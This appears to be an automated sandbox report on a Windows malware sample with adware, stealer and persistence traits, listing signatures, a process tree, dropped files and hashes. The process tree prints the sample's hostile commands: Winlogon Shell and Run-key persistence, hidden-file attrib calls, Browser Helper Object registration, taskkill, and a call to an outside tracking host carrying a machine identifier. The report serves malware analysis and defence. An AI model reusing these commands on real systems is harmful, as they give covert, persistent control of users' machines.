Overview

overview

10

Static

static

3

89f0653e74...92.exe

windows7-x64

10

89f0653e74...92.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    138s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/02/2024, 16:00

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    89f0653e7418d187e2635f8ef49b3392.exe
  • Size 477KB
  • Sample240202-tf4wmacbfp
  • SHA256 37e59bcf6384f14899eb5b1c585ebfd5262bb09d6f0b776ccd5253938dde6e5d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
adwareevasionpersistencestealerupx

Malware Config

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
    persistence
  • Adds policy Run key to start application 2 TTPs 2 IoCs
    persistence
  • Drops file in Drivers directory 2 IoCs
  • Sets file to hidden 1 TTPs 3 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

    evasion
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 10 IoCs
  • Loads dropped DLL 8 IoCs
  • UPX packed file 6 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Installs/modifies Browser Helper Object 2 TTPs 4 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

    stealeradware
  • Modifies WinLogon 2 TTPs 6 IoCs
    persistence
  • Drops file in System32 directory 27 IoCs
  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • NSIS installer 2 IoCs
    installer
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 37 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs ping.exe 1 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3512
      • C:\Users\Admin\AppData\Local\Temp\89f0653e7418d187e2635f8ef49b3392.exe
        "C:\Users\Admin\AppData\Local\Temp\89f0653e7418d187e2635f8ef49b3392.exe"
        2⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:5092
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\2.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:1204
          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\5685.exe
            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\5685.exe"
            4⤵
            • Executes dropped EXE
            • Modifies WinLogon
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:3308
            • C:\Windows\SysWOW64\regsvr32.exe
              regsvr32 /s C:\Windows\System32\flyplug.dll
              5⤵
                PID:2284
            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\88IG.exe
              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\88IG.exe"
              4⤵
              • Executes dropped EXE
              • Drops file in System32 directory
              • Suspicious use of WriteProcessMemory
              PID:772
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /c C:\Windows\system32\omizao.bat
                5⤵
                • Suspicious use of WriteProcessMemory
                PID:3736
                • C:\Windows\SysWOW64\PING.EXE
                  ping -n 3 127.0.0.1
                  6⤵
                  • Runs ping.exe
                  PID:2812
            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\45.exe
              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\45.exe"
              4⤵
              • Executes dropped EXE
              • Drops file in System32 directory
              PID:2436
            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.exe
              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.exe"
              4⤵
              • Executes dropped EXE
              PID:2652
            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\msn036.exe
              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\msn036.exe"
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:2076
              • C:\Users\Admin\AppData\Local\Temp\101.exe
                "C:\Users\Admin\AppData\Local\Temp\101.exe" 7836
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Installs/modifies Browser Helper Object
                • Drops file in Windows directory
                • Modifies registry class
                • Suspicious use of WriteProcessMemory
                PID:2688
                • C:\Windows\SysWOW64\regsvr32.exe
                  "regsvr32.exe" "C:\Windows\Intel\baiduc.dll" /s
                  6⤵
                  • Loads dropped DLL
                  • Drops file in Windows directory
                  • Modifies registry class
                  PID:2788
            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\feifei.exe
              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\feifei.exe"
              4⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Drops file in System32 directory
              • Modifies registry class
              • Suspicious use of WriteProcessMemory
              PID:4400
              • C:\Windows\SysWOW64\WScript.exe
                "C:\Windows\System32\WScript.exe" "C:\WINDOWS\system32\sdfi\3.vbs"
                5⤵
                • Checks computer location settings
                PID:400
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c C:\WINDOWS\system32\sdfi\3.bat
                  6⤵
                    PID:1976
                    • C:\Windows\SysWOW64\attrib.exe
                      attrib +a +s +h C:\WINDOWS\system32\sdfi
                      7⤵
                      • Sets file to hidden
                      • Drops file in System32 directory
                      • Views/modifies file attributes
                      PID:3804
                    • C:\Windows\SysWOW64\regedit.exe
                      regedit /s 11.reg
                      7⤵
                      • Adds policy Run key to start application
                      • Runs .reg file with regedit
                      PID:3240
              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\288IE.exe
                "C:\Users\Admin\AppData\Local\Temp\RarSFX0\288IE.exe"
                4⤵
                • Executes dropped EXE
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Suspicious use of SetWindowsHookEx
                • Suspicious use of WriteProcessMemory
                PID:3960
                • C:\Windows\SysWOW64\Reg.exe
                  Reg Add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F0C62B12-1757-4DEA-9B3F-6AC1B8A1CAE2}"
                  5⤵
                  • Installs/modifies Browser Helper Object
                  PID:1428
                • C:\Windows\SysWOW64\Reg.exe
                  Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t "REG_DWORD" /d "1" /f
                  5⤵
                    PID:2964
                  • C:\Windows\SysWOW64\Reg.exe
                    Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t "REG_DWORD" /d "1" /f
                    5⤵
                      PID:4720
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c C:\Windows\system\784.8932.bat
                      5⤵
                      • Drops file in Windows directory
                      PID:2420
                      • C:\Windows\SysWOW64\PING.EXE
                        ping 127.0.0.1
                        6⤵
                        • Runs ping.exe
                        PID:4184
                      • C:\Windows\SysWOW64\attrib.exe
                        attrib +s +h "C:\Windows\system\MyRundll32.exe"
                        6⤵
                        • Sets file to hidden
                        • Drops file in Windows directory
                        • Views/modifies file attributes
                        PID:1968
                      • C:\Windows\SysWOW64\attrib.exe
                        attrib +s +h "C:\Windows\system32\MyRundll32.dll"
                        6⤵
                        • Sets file to hidden
                        • Drops file in System32 directory
                        • Views/modifies file attributes
                        PID:3824
                      • C:\Windows\system\MyRundll32.exe
                        "C:\Windows\system\MyRundll32.exe"
                        6⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        • Drops file in System32 directory
                        • Modifies registry class
                        • Suspicious use of SetWindowsHookEx
                        PID:1896
                        • C:\Windows\SysWOW64\Reg.exe
                          Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t "REG_DWORD" /d "1" /f
                          7⤵
                            PID:3968
                          • C:\Windows\SysWOW64\Reg.exe
                            Reg Add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu" /v "{871C5380-42A0-1069-A2EA-08002B30309D}" /t "REG_DWORD" /d "1" /f
                            7⤵
                              PID:4728
                            • C:\Windows\SysWOW64\Reg.exe
                              Reg Add "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{F0C62B12-1757-4DEA-9B3F-6AC1B8A1CAE2}"
                              7⤵
                              • Installs/modifies Browser Helper Object
                              PID:384
                            • C:\Windows\SysWOW64\Reg.exe
                              Reg Add "HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t "REG_SZ" /d "explorer.exe,C:\Windows\system\MyRundll32.exe" /f
                              7⤵
                              • Modifies WinLogon for persistence
                              PID:4564
                            • C:\Windows\SysWOW64\taskkill.exe
                              taskkill /f /im rstray.exe
                              7⤵
                              • Kills process with taskkill
                              • Suspicious use of AdjustPrivilegeToken
                              PID:3440
                            • C:\Program Files\Internet Explorer\IEXPLORE.EXE
                              "C:\Program Files\Internet Explorer\IEXPLORE.EXE" "http://www.daohang68.com/tongji2/count.asp?mac=50-162-130-140-66-69-172-111-206-218-254-27&ver=1.0"
                              7⤵
                              • Modifies Internet Explorer settings
                              • Suspicious use of FindShellTrayWindow
                              • Suspicious use of SetWindowsHookEx
                              PID:4072
                              • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4072 CREDAT:17410 /prefetch:2
                                8⤵
                                • Modifies Internet Explorer settings
                                • Suspicious use of SetWindowsHookEx
                                PID:4216
                      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\baobi88.exe
                        "C:\Users\Admin\AppData\Local\Temp\RarSFX0\baobi88.exe"
                        4⤵
                        • Drops file in Drivers directory
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Modifies registry class
                        • Suspicious use of WriteProcessMemory
                        PID:2272
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /c C:\Windows\system32\oswrtgivx.bat
                          5⤵
                          • Suspicious use of WriteProcessMemory
                          PID:1152
                          • C:\Windows\SysWOW64\PING.EXE
                            ping -n 2 127.0.0.1
                            6⤵
                            • Runs ping.exe
                            PID:2188

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                      • Size 471B
                      • SHA256 3e1607026f332ae19539f0621c8b18c820245d196febf8bf258253667ebc94d8
                      • MD5 SHA1 SHA512
                      Submit Download

                      7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                      • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
                      • Size 404B
                      • SHA256 bbeebeddb88f460f37d44e91f6b465b1dfbd2ea0eaa0b4b908621602e1a775c8
                      • MD5 SHA1 SHA512
                      Submit Download

                      suggestions[1].en-US
                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\Z0UNWU5J\suggestions[1].en-US
                      • Size 17KB
                      • SHA256 c6a5377cbc07eece33790cfc70572e12c7a48ad8296be25c0cc805a1f384dbad
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      101.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\101.exe
                      • Size 121KB
                      • SHA256 776240a1be058037c4e2ee973f63883c0493821a0bc41fa855832ca002b28f2c
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      2.vbs
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\2.vbs
                      • Size 689B
                      • SHA256 f8ad4aff9c53e8b95811928ff8f68ed4af2b5bf839931410a6d9e56e9e4ff3e5
                      • MD5 SHA1 SHA512
                      Submit Download

                      288IE.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\288IE.exe
                      • Size 84KB
                      • SHA256 3ea7ff3ff96a7915d9371bcaa658d6a5e43c334e79003752b9c9bd5cd7eec203
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      45.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\45.exe
                      • Size 24KB
                      • SHA256 7e238e5849e506e5a39babf44fb7f00dbbe4a6f112d2351bb1de0c151379d15f
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      5.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\5.exe
                      • Size 68KB
                      • SHA256 b0e66b0934a062ac17c6b1114b15e7fab153a97a260be161db5d9154301fd652
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      5685.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\5685.exe
                      • Size 38KB
                      • SHA256 86d49ffb25b46d21dd97c53c4c20cba1c80d969d3487bd333ba247b36fdf4f84
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      88IG.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\88IG.exe
                      • Size 24KB
                      • SHA256 3547a6b12d0115592761fba60be8af2ae5de16914522755884f19a6725a8edd1
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      baobi88.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\baobi88.exe
                      • Size 20KB
                      • SHA256 62881b34b7168e5bffd0b1bb85340455a33f0cf98ccb5f725db70700543b252f
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      feifei.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\feifei.exe
                      • Size 103KB
                      • SHA256 ac5293ed3b34db5194a6fac7b042754b16a17c899818d8da9cc6c80016abeb96
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      msn036.exe
                      • Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\msn036.exe
                      • Size 157KB
                      • SHA256 e1d87c64c60c4d3ef4ced148c934f0d0d020ee3e27aa0ba8c7e41979f1197103
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      System.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\nsh31BB.tmp\System.dll
                      • Size 10KB
                      • SHA256 d3f9c99e0c1c9acd81a1b33bc3dbd305140def90d10485c253cf1d455f0dc903
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      System.dll
                      • Path C:\Users\Admin\AppData\Local\Temp\nsr2F88.tmp\System.dll
                      • Size 10KB
                      • SHA256 cf61ddd15d63c25a12caee70f51ea736cfc02195c42e56ee01b33f689d3754c5
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      Internet Explorer.lnk
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk
                      • Size 2KB
                      • SHA256 0ed056046ea890533d5d94821bf090c7ab14e3ec4505597830d7bfc98ac22f4c
                      • MD5 SHA1 SHA512
                      Submit Download

                      Æô¶¯ Internet Explorer ä¯ÀÀÆ÷.lnk
                      • Path C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Æô¶¯ Internet Explorer ä¯ÀÀÆ÷.lnk
                      • Size 2KB
                      • SHA256 b5a6d5e3df2e9f14438ec8f03e3388c9725ad97369a24012a34f0a802a17974a
                      • MD5 SHA1 SHA512
                      Submit Download

                      Internet Explorer.lnk
                      • Path C:\Users\Admin\Desktop\Internet Explorer.lnk
                      • Size 2KB
                      • SHA256 97678efa13d796282b0ebb21b0bc1449ed81cd78d9fc8e4b09268b0c3af0ebe5
                      • MD5 SHA1 SHA512
                      Submit Download

                      Internet Explorer.lnk
                      • Path C:\Users\Admin\Desktop\Internet Explorer.lnk
                      • Size 2KB
                      • SHA256 b44a674421add8abe4f97cdafeb3190bfe43ac2a61476a68ec02baa032376995
                      • MD5 SHA1 SHA512
                      Submit Download

                      11.reg
                      • Path C:\WINDOWS\SysWOW64\sdfi\11.reg
                      • Size 362B
                      • SHA256 d52bb0c8af0e1f1a1b36af2ca7900f1149cf621a7c10c53913311ad33b62c8a1
                      • MD5 SHA1 SHA512
                      Submit Download

                      3.bat
                      • Path C:\WINDOWS\SysWOW64\sdfi\3.bat
                      • Size 78B
                      • SHA256 5455684a5802bff84fb933e2285a6ca81e3880a483220da28bcdd65469163bb1
                      • MD5 SHA1 SHA512
                      Submit Download

                      3.vbs
                      • Path C:\WINDOWS\SysWOW64\sdfi\3.vbs
                      • Size 115B
                      • SHA256 902db1fa49ea44b8c3624166cc5544922df6aa73366d5e154ff4c7ef5dfbb1bc
                      • MD5 SHA1 SHA512
                      Submit Download

                      baiduc.dll
                      • Path C:\Windows\Intel\baiduc.dll
                      • Size 156KB
                      • SHA256 a6d07dc203062489b3e1fe3eb3f920c57d93caead7900913883a75e2f00c6fd6
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      MyRundll32.dll
                      • Path C:\Windows\SysWOW64\MyRundll32.dll
                      • Size 40KB
                      • SHA256 33c43cdf83735ace24b91b7dd6e3db7aa03162aaed93708bcfec85599b3b9a22
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      flyplug.dll
                      • Path C:\Windows\SysWOW64\flyplug.dll
                      • Size 48KB
                      • SHA256 e9df04886a5a7d63e0f28f187463640bf8e81ee23ef93943edfd5bfe2c0cd6df
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      omizao.bat
                      • Path C:\Windows\SysWOW64\omizao.bat
                      • Size 181B
                      • SHA256 eb04ef81583c77532ad969a055ca8afb0abae6afbe4ebbabd36c854c7c7a9630
                      • MD5 SHA1 SHA512
                      Submit Download

                      oswrtgivx.bat
                      • Path C:\Windows\SysWOW64\oswrtgivx.bat
                      • Size 187B
                      • SHA256 a510de698d07f1d7a17148cd524763d78e426bf12d2df758c05cb79a5b8e5886
                      • MD5 SHA1 SHA512
                      Submit Download

                      system.ini
                      • Path C:\Windows\system.ini
                      • Size 247B
                      • SHA256 9595eb2680594df95ffdd633ef9014c2a2baa3c37fc7462849ec6f3e41df4cba
                      • MD5 SHA1 SHA512
                      Submit Download

                      784.8932.bat
                      • Path C:\Windows\system\784.8932.bat
                      • Size 327B
                      • SHA256 fe1637bd533c069ddc14cb0ad5494a8e008af922f1b8ef63457181920245532f
                      • MD5 SHA1 SHA512
                      Submit Download

                      memory/2272-111-0x0000000000400000-0x0000000000412000-memory.dmp
                      Download

                      memory/2272-55-0x0000000000400000-0x0000000000412000-memory.dmp
                      Download

                      memory/2688-84-0x0000000004720000-0x0000000004749000-memory.dmp
                      Download

                      memory/3308-137-0x0000000000400000-0x0000000000434000-memory.dmp
                      Download

                      memory/3308-30-0x0000000000400000-0x0000000000434000-memory.dmp
                      Download

                      memory/4400-140-0x0000000000400000-0x0000000000423000-memory.dmp
                      Download

                      memory/5092-151-0x0000000000400000-0x0000000000423000-memory.dmp
                      Download

                      memory/5092-0-0x0000000000400000-0x0000000000423000-memory.dmp
                      Download

                      memory/5092-174-0x0000000000400000-0x0000000000423000-memory.dmp
                      Download